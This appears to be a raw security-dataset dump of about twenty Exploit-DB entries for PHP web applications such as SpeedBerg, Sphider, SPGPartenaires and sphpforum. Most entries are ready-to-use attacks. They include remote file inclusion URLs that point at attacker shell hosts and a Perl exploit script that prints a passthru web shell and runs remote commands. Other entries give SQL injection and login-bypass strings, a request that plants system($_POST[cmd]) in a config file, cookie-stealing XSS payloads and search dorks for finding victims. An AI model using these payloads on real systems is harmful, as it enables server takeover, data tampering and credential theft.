deardaniel/secdata-raw huggingface dataset:
Exploit-DB #2615
Description: SpeedBerg 1.2beta1 - 'SPEEDBERG_PATH' File Inclusion
Type: webapps
Platform: php
Date: 2006-10-22
Author: k1tk4t

Exploit:
########################################################################
# speedberg <= 1.2beta1  Remote File Inclusion
# Download Source :
http://www.myepfl.ch/speedberg/files/speedberg-1.2beta1.zip
#
# Found By        : k1tk4t - k1tk4t[4t]newhack.org
# Location        : Indonesia   --  #newhack[dot]org @irc.dal.net
########################################################################
file;
entrancePage.tpl.php
generalToolBox.tlb.php
myToolBox.tlb.php
scriplet.inc.php
simplePage.tpl.php
speedberg.class.php
standardPage.tpl.php
########################################################################
exploit;
http://localhost/speedberg/include/entrancePage.tpl.php?SPEEDBERG_PATH=http://shell
http://localhost/speedberg/include/generalToolBox.tlb.php?SPEEDBERG_PATH=http://shell
http://localhost/speedberg/include/myToolBox.tlb.php?SPEEDBERG_PATH=http://shell
http://localhost/speedberg/include/scriplet.inc.php?SPEEDBERG_PATH=http://shell
http://localhost/speedberg/include/simplePage.tpl.php?SPEEDBERG_PATH=http://shell
http://localhost/speedberg/include/speedberg.class.php?SPEEDBERG_PATH=http://shell
http://localhost/speedberg/include/standardPage.tpl.php?SPEEDBERG_PATH=http://shell
########################################################################
Thanks;
str0ke
xoron [www.xoron.biz]
[mR]opt1lc,VaL,y3dips,lirva32,the_day,K-159
evilcode,illibero,NoGe,nyubi,x-ace,ghoz,
home_edition2001,matdhule,iFX,
and for all(friend's&enemy)
@irc.dal.net
#newhack[dot]org [all member&staff]
#e-c-h-o [all member echo community]
#nyubicrew [all member solpotcrew community]
#asiahacker [all member asiahacker community]

# milw0rm.com [2006-10-22]
Exploit-DB #14070
Description: Speedy 1.0 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-06-26
Author: ViRuS Qalaa

Exploit:
# Author: ViRuS Qalaa
# Email: h1g@hotmail.it
# My Sites : www.pal-mafia.com & www.vbspiders.com
# Script home: http://www.speedy-up.com/
# Tested on: Windows
# Team hacker:ViRuS Qalaa & HaCkEr aRaR & ViRuS KSA>>>X-MaN HaCk3r TeaM
:::::::::::::::::::::::::
=================Exploit=================
DorK:No DorK In MY Exploit

First Upload your shell.php.gif on The Script Speedy 1,0

----exploit----
I will show you the direct download link list in your browser and enjoy Blcl

your link shell licke
http://{localhost}/{path}/uploads/Speedy_[PII_REDACTED].gif

---------greatz----------
Greatz to :
hacker arar,ViRuS KSA,Q2,MR.WwW,MR.Romio hacker,black.jaguar

and My friends Others and My friends in MSN
EnJoY o_O
Exploit-DB #28947
Description: Speedywiki 2.0/2.1 - Multiple Input Validation Vulnerabilities
Type: webapps
Platform: php
Date: 2006-11-08
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/20976/info

Speedywiki is prone to multiple input-validation vulnerabilities because the application fails to sufficiently sanitize user-supplied input. These issues include an arbitrary file-upload vulnerability and a cross-site scripting vulnerability.

An attacker may leverage these issues to upload and execute arbitrary code within the context of the affected webserver and to steal cookie-based authentication credentials. Other attacks are also possible. 

Versions prior to 2.2 is vulnerable to this issue.

http://www.example.com/index.php?showRevisions=[xss]
Exploit-DB #22108
Description: SPGPartenaires 3.0.1 - 'delete.php' SQL Injection
Type: webapps
Platform: php
Date: 2002-12-20
Author: frog

Exploit:
source: https://www.securityfocus.com/bid/6455/info
 
Several vulnerabilities have been discovered in SPGPartenaires. The vulnerabilities are due to insufficient sanitization of the 'pass' and 'SPGP' variables used to construct SQL queries in various PHP scripts. By exploiting these issues it is possible to modify the logic of SQL queries through malformed query strings in requests for the vulnerable script.
 
By injecting SQL code into the 'pass' or 'SPGP' variable, it may be possible for an attacker to corrupt member information. It may also be possible for attackers to perform more advanced attacks on the underlying database. 

http://www.example.com/modif/delete.php?SPGP=[ID]%7C%7C'%20OR%20''='
Exploit-DB #22107
Description: SPGPartenaires 3.0.1 - 'ident.php' SQL Injection
Type: webapps
Platform: php
Date: 2002-12-20
Author: frog

Exploit:
source: https://www.securityfocus.com/bid/6455/info

Several vulnerabilities have been discovered in SPGPartenaires. The vulnerabilities are due to insufficient sanitization of the 'pass' and 'SPGP' variables used to construct SQL queries in various PHP scripts. By exploiting these issues it is possible to modify the logic of SQL queries through malformed query strings in requests for the vulnerable script.

By injecting SQL code into the 'pass' or 'SPGP' variable, it may be possible for an attacker to corrupt member information. It may also be possible for attackers to perform more advanced attacks on the underlying database. 

http://www.example.com/modif/ident.php?id=[MEMBERID]&pass='%20OR%20''='
Exploit-DB #22760
Description: Sphera HostingDirector 1.0/2.0/3.0 - VDS Control Panel Account Configuration Modification
Type: webapps
Platform: php
Date: 2003-06-13
Author: Lorenzo Hernandez Garcia-Hierro

Exploit:
source: https://www.securityfocus.com/bid/7896/info

Sphera HostingDirector VDS Control Panel has been reported prone to a vulnerability where an attacker may make arbitrary account configuration modifications.

It has been reported that an attacker, may connect to the HostingDirector server and spoof HTTP referrer data to bypass HostingDirector authentication systems. It is then possible to make arbitrary modifications to other HostingDirector account configurations.

http://www.example.com/[INSTALLATION PATH]/dev/VDS/submitted.php?[TARGET
USER]\activeservices\http||watchdog_running=[false]&restart_vds=on&success_m
sg=Remote USER VDS restarted trough this kind of attack/watch dog disabled.
Exploit-DB #22762
Description: Sphera HostingDirector 1.0/2.0/3.0 VDS Control Panel - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2003-06-13
Author: Lorenzo Hernandez Garcia-Hierro

Exploit:
source: https://www.securityfocus.com/bid/7899/info

Sphera HostingDirector VDS Control Panel has been reported prone to several cross-site scripting attacks. The vulnerabilities exist due to insufficient sanitization of user-supplied input for certain URI parameters.

Successful exploitation could permit theft of cookie-based authentication credentials from legitimate users of the HostingDirector Control Panel. 

http://[TARGET]/[INSTALLATION PATH]/login/sm_login_screen.php?uid=">[XSS
ATTACK CODE]

http://[TARGET]/[INSTALLATION PATH]/login/sm_login_screen.php?error=">[XSS
ATTACK CODE]

http://[TARGET]/[INSTALLATION PATH]/login/sm_login_screen.php?error=[XSS
ATTACK CODE COMBINATED WITH OTHER VARIABLE FOR EMULATE A REAL ERROR LIKE
"EITHER PASSWORD OR USER ARE INCORRECT , RE-FILL IN" FOR STEAL THE USER
DATA]

http://[TARGET]/[INSTALLATION PATH]/login/login_screen.php?vds_ip=[VDS
DOMAIN OR IP]&uid=">[XSS ATTACK CODE]&tz=[TIMEZONE CODE , TRY
CEST]&vds_server_ip=">[XSS ATTACK CODE]

https://[TARGET]/[INSTALLATION PATH]/login/login_screen.php?vds_ip=[VDS
DOMAIN OR
IP]&uid="></form>here%20comes%20your%20attack<h1>&tz=CEST&vds_server_ip=">He
re%20comes%20your%20XSS%20Attack&error=Either+user+or+password+are+incorrect
+,+please+re-fill+in+.

https://[TARGET]/[INSTALLATION
PATH]/login/sm_login_screen.php?uid="><h1>XSS%20!
Exploit-DB #1665
Description: Sphider 1.3 - 'configset.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-04-12
Author: rgod

Exploit:
#!/usr/bin/perl
use IO::Socket;

print "\r\nSphider <= 1.3 arbitrary remote inclusion\r\n" ;
print "-> works with register_globals = On & allow_url_fopen = On\r\n";
print "by rgod rgod<AT>autistici<DOT>org\r\n";
print "site: http://retrogod.altervista.org\r\n";
print "\r\ndork: \"powered by sphider\"\r\n";

sub main::urlEncode {
    my ($string) = @_;
    $string =~ s/(\W)/"%" . unpack("H2", $1)/ge;
    #$string# =~ tr/.//;
    return $string;
 }

$serv=$ARGV[0];
$path=$ARGV[1];
$loc=urlEncode($ARGV[2]);
$cmd=""; for ($i=3; $i<=$#ARGV; $i++) {$cmd.="%20".urlEncode($ARGV[$i]);};

if (@ARGV < 4)
{
print "\r\nUsage:\r\n";
print "perl sphider_xpl.pl server path location command\r\n\r\n";
print "server         - Server where sphider is installed.\r\n";
print "path           - Path to sphider (ex: /sphider/ or just /) \r\n";
print "location       - a site with the code to include (without ending slash)\r\n";
print "command        - a Unix command\r\n\r\n";
print "Example:\r\n";
print "perl sphider_xpl.pl localhost /sphider/ http://192.168.1.3 ls -la\r\n\r\n";
print "note: on http location you need this code in /conf.php/index.html :\r\n\r\n";
print "<?php\r\n";
print "ob_clean();\r\n";
print "if (get_magic_quotes_gpc())\r\n";
print "{\$_GET[\"cmd\"]=stripslashes(\$_GET[\"cmd\"]);}\r\n";
print "ini_set(\"max_execution_time\",0);\r\n";
print "echo 56789;\r\n";
print "passthru(\$_GET[\"cmd\"]);\r\n";
print "die;\r\n";
print "?>\r\n";
exit();
}
  $sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$serv", Timeout  => 10, PeerPort=>"http(80)")
  or die "[+] Connecting ... Could not connect to host.\n\n";
  print $sock "GET ".$path."admin/configset.php?cmd=".$cmd."&settings_dir=".$loc." HTTP/1.0\r\n";
  print $sock "Host: ".$serv."\r\n";
  print $sock "Connection: Close\r\n\r\n";
  $out="";
  while ($answer = <$sock>) {
    $out.=$answer;
  }
  close($sock);
  @temp= split /56789/,$out,2;
  if ($#temp>0) {print "\r\nExploit succeeded...\r\n".$temp[1];exit();}
  #if you are here...
  print "\r\nExploit failed...\r\n";

# milw0rm.com [2006-04-12]
Exploit-DB #27886
Description: Sphider 1.3 - 'search.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-05-16
Author: Soot

Exploit:
source: https://www.securityfocus.com/bid/17997/info

Sphider is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/path/search.php/"><script>alert(/Soot/)</script>
http://www.example.com/path/search.php?category="><script>alert(/Soot/)</script>
Exploit-DB #31751
Description: Sphider 1.3.4 - 'query' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-05-06
Author: Christian Holler

Exploit:
source: https://www.securityfocus.com/bid/29074/info

Sphider is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Sphider 1.3.4 is vulnerable; other versions may also be affected. 

http://www.example.com/search.php?query=xsss%20%3Cscript%3Ealert('HELLO');%3C/script%3E&search=1
Exploit-DB #14294
Description: sphider 1.3.5 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2010-07-09
Author: Li0n-PaL

Exploit:
--##----------##------######--------------------------------########----------------##--------|
--##----------------##------##------------------------------##------##--------------##--------|
--##----------##----##------##----##--####------------------##------##--######------##--------|
--##----------##----##------##----####----##----------------##------##--------##----##--------|
--##----------##----##------##----##------##----########----########------######----##--------|
--##----------##----##------##----##------##----------------##----------##----##----##--------|
--##----------##----##------##----##------##----Li0n-PaL----##----------##----##----##--------|
--##########--##------######------##------##-sTiLL Str1k3z--##------------########--##########|
--------------------------------------------------y0u------------------------------------------|
====================================================================================+
[~] #sphider Remote File inclusion  
====================================================================================+|
                                                                                     |
                              Li0n-PaL sTiLL Str1k3z y0u!!                          |
                                                                                     |   
+===================================================================================+|
[?] sphider Remote File inclusion                                                  |
+===================================================================================+
    [?] My h0m3:              [http://HaCkTeCh.Org/cc & Pal-Li0n.som           ]
    [?] F0r 4sk:              [ F5w@hotmail.com                                ]
    [?] 5cr1p7:               [ sphider                                        ]
    [?] h0m3 5cr1p7           [ http://www.sphider.eu                          ]
    [?] L4nguage:             [ PHP                                            ]
    [?] F0und3r:              [ Li0n-PaL                                       ]      
    [?] D0rK   :              [ Powered by Sphider                             ]
===[ Expl0it  ]===

RFI #~

  http://localhost/search/?include_dir=[http://localhost/shell.txt???]


Good luCk o_O

---------------------------------------------------------

[?] Gr44tz to:[ Pal-Li0n-[PaL-Li0ns.com]Red-D3v1L-ShaDow-D3v1L-j0rd4n14n.r1z[sec-r1z.com]-Sas-TerrOrisT-Cold z3ro-zAx-SarBot511-Devil Fucker-
Storm-HcJ-ViRuSMaN-VirUs_Hima-PaL-D3v1L-Mr.Safa7-Evil-Cod3r [v4-team]-h3ll c0d3-Mahmoud SQL[Team-SQL.com]-D4rk-Mr.Sc0rpion-All
HacKTeacH.Org MeMbers & Gusts & CreW]


========================
./Li0n-PaL
Exploit-DB #35940
Description: Sphider 1.3.x - Admin Panel Multiple SQL Injections
Type: webapps
Platform: php
Date: 2011-07-12
Author: Karthik R

Exploit:
source: https://www.securityfocus.com/bid/48647/info

Sphider is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

The following example input is available:

Username: ' or 0=0 #
Password: ' or 0=0 #
Exploit-DB #34189
Description: Sphider Search Engine 1.3.6 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2014-07-28
Author: Mike Manzotti

Exploit:
# Exploit Title: Sphider 1.3.6 or later SQL Injection
# Google Dork: intitle:"Sphider Admin Login"
# Date: 1 July 2014
# Exploit Author: Mike Manzotti
# Vendor Homepage: http://www.sphider.eu/
# Software Link: http://www.sphider.eu/sphider-1.3.6.zip
# Version: v 1.3.6

Description:
The web application is vulnerable to SQLi. Once a website has been indexed with Sphider, an attacker can inject SQL under Sites -> Browser pages-> filter option.

Proof of Concept:
Response: POST: /admin/admin.php
per_page=10&filter='union+select+1,@@version+;#&start=1&site_id=1&f=21

Response:
<tr class="grey">
<td><a href="5.5.35-0+wheezy1">5.5.35-0+wheezy1</a></td>
<td width="8%">
[cid:image001.jpg@01CFAA73.0B6B8330]



# Exploit Title: Sphider 1.3.6 or later PHP Injection

Description:
An authenticated user can inject PHP code in configuration settings. This would allow an attacker to take full control of the server. Note that in v1.3.5 authentication can be bypassed. Also note that this issue depends on permissions of "conf.php file". However during the installation the user is advised to change the permissions of "conf.php" file to chmod 666.

Proof of Concept:
Request: POST /admin/admin.php
f=settings&Submit=1&_version_nr=1.3.5&_language=en&_template=standard&_admin_email=admin%40localhost&_print_results=1&_tmp_dir=tmp&_log_dir=log&_log_format=html&_min_words_per_page=10&_min_word_length=3&_word_upper_bound=100;system($_POST[cmd])&_index_numbers=1&_index_meta_keywords=1&_pdftotext_path=c%3A%5Ctemp%5Cpdftotext.exe&_catdoc_path=c%3A%5Ctemp%5Ccatdoc.exe&_xls2csv_path=c%3A%5Ctemp%5Cxls2csv&_catppt_path=c%3A%5Ctemp%5Ccatppt&_user_agent=Sphider&_min_delay=0&_strip_sessids=1&_results_per_page=10&_cat_columns=2&_bound_search_result=0&_length_of_link_desc=0&_links_to_next=9&_show_meta_description=1&_show_query_scores=1&_show_categories=1&_desc_length=250&_did_you_mean_enabled=1&_suggest_enabled=1&_suggest_history=1&_suggest_rows=10&_title_weight=20&_domain_weight=60&_path_weight=10&_meta_weight=5

"system($_POST[cmd])" has been injected.

Request: POST http://URL/sphider/settings/conf.php
cmd=pwd

Response:
/var/www/sphider/settings


# Exploit Title: Sphider 1.3.6 or later Stored and Reflected XSS

Description:
The web application is prone to Stored and Reflected Cross site scripting.

Stored XSS:
Request: POST /admin/admin.php
f=7&parent=&category=<script>alert(document.cookie)</script>

Response
<a href="admin.php?f=edit_cat&cat_id=1">
<script>alert(document.cookie)
</script>
</a>

Reflected XSS:

Request: POST /sphider/admin/admin.php
f=index&adv=1&url="/><script>alert(document.cookie)</script>

Response:
<a href="admin.php?f=edit_cat&cat_id=1">
<script>alert(document.cookie)
</script>
</a>


Solution:
Currently none. The author has been informed.

Timeline:
1 July 2014: The author has been informed
28 July 2014: Vulnerability published
Exploit-DB #25423
Description: SPHPBlog 0.4 - 'search.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-04-14
Author: y3dips

Exploit:
source: https://www.securityfocus.com/bid/13170/info

sphpBlog is affected by a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

This issue is reported to affect sphpBlog version 0.4.0; earlier versions may also be vulnerable. 

http://www.example.com/sphpblog/search.php?q=[XSS]
http://www.example.com/sphpblog/search.php?q=%3Cmarquee%3Ewe+are+a+like%3C%2Fmarquee%3E
http://www.example.com/sphpblog/search.php?q=<a href=http://echo.or.id>echo</a>
Exploit-DB #29051
Description: Sphpblog 0.8 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-11-16
Author: the_Edit0r

Exploit:
source: https://www.securityfocus.com/bid/21129/info

Sphpblog is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker to steal cookie-based authentication credentials and to launch other attacks.

Sphpblog 0.8 is vulnerable.

http://www.example.com/[path]/add_block.php?action="><script>alert('Xmors')</script>< http://www.example.com/[path]/index.php?entry="><script>alert('Xmors')</script><
Exploit-DB #4132
Description: sPHPell 1.01 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2007-06-30
Author: Mehmet Ince

Exploit:
sphpell - 1.01 Remote File Include
---------------------------------------------------------------------------------
Bulan: Cyber-security // Cyber-security.org
---------------------------------------------------------------------------------
script download:http://sourceforge.net/project/showfiles.php?group_id=82330

---------------------------------------------------------------------------------
ERROR [1];spellcheckpageinc.php?

              include($SpellIncPath."spellcheckvars.php");

BUG:       www.target.com/checkpageinc.php?SpellIncPath=5h3LL
---------------------------------------------------------------------------------
ERROR [2];spellchecktext.php?

                   include($SpellIncPath."spellcheckvars.php");

BUG:       www.target.com/spellchecktext.php? SpellIncPath=5h3LL
---------------------------------------------------------------------------------
ERROR [3];spellcheckwindow.php?

                        include($SpellIncPath."spellcheckvars.php");

BUG:       www.target.com/spellcheckwindow.php?SpellIncPath=5h3LL
---------------------------------------------------------------------------------
ERROR [4];spellcheckwindowframeset.php?

                     include($SpellIncPath."spellcheckvars.php");

BUG:       www.target.com/spellcheckwindowframeset.php?SpellIncPath=5h3LL

---------------------------------------------------------------------------------
d0rk: :(

# milw0rm.com [2007-06-30]
Exploit-DB #20546
Description: sphpforum 0.4 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2012-08-15
Author: loneferret

Exploit:
# Author: loneferret of Offensive Security
# Product: sphpforum
# Version: 0.4 (older versions may be affected)
# 
# Software Download: http://sourceforge.net/projects/sphpforum/

# Description:
# Simple PHP Forum is a PHP based forum/BBS board is designed to be small, simple, 
# fast and allow easy integration into any existing web site.

# Vulnerability:
# Due to improper input sanitation, parameters are prone to SQL injection. Stored
# crossed site scripting is also present in some forms.

# PoC 1:
# SQL Injection
# Page: view_topic.php / view_profile.php?
# Vulnerable param: 'id'
# http://172.16.194.148/sphpforum/sphpforum-0.4/view_topic.php?id=50%27%20and%20sleep%2810%29%20and%20%271%27=%271
# http://172.16.194.148/sphpforum/sphpforum-0.4/view_profile.php?id=loneferret%27%20and%20sleep%2810%29%20and%20%271%27=%271

# PoC 2:
# Stored XSS
# Page: create_topic.php
# Vulnerable field: Topic
# Payload: <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>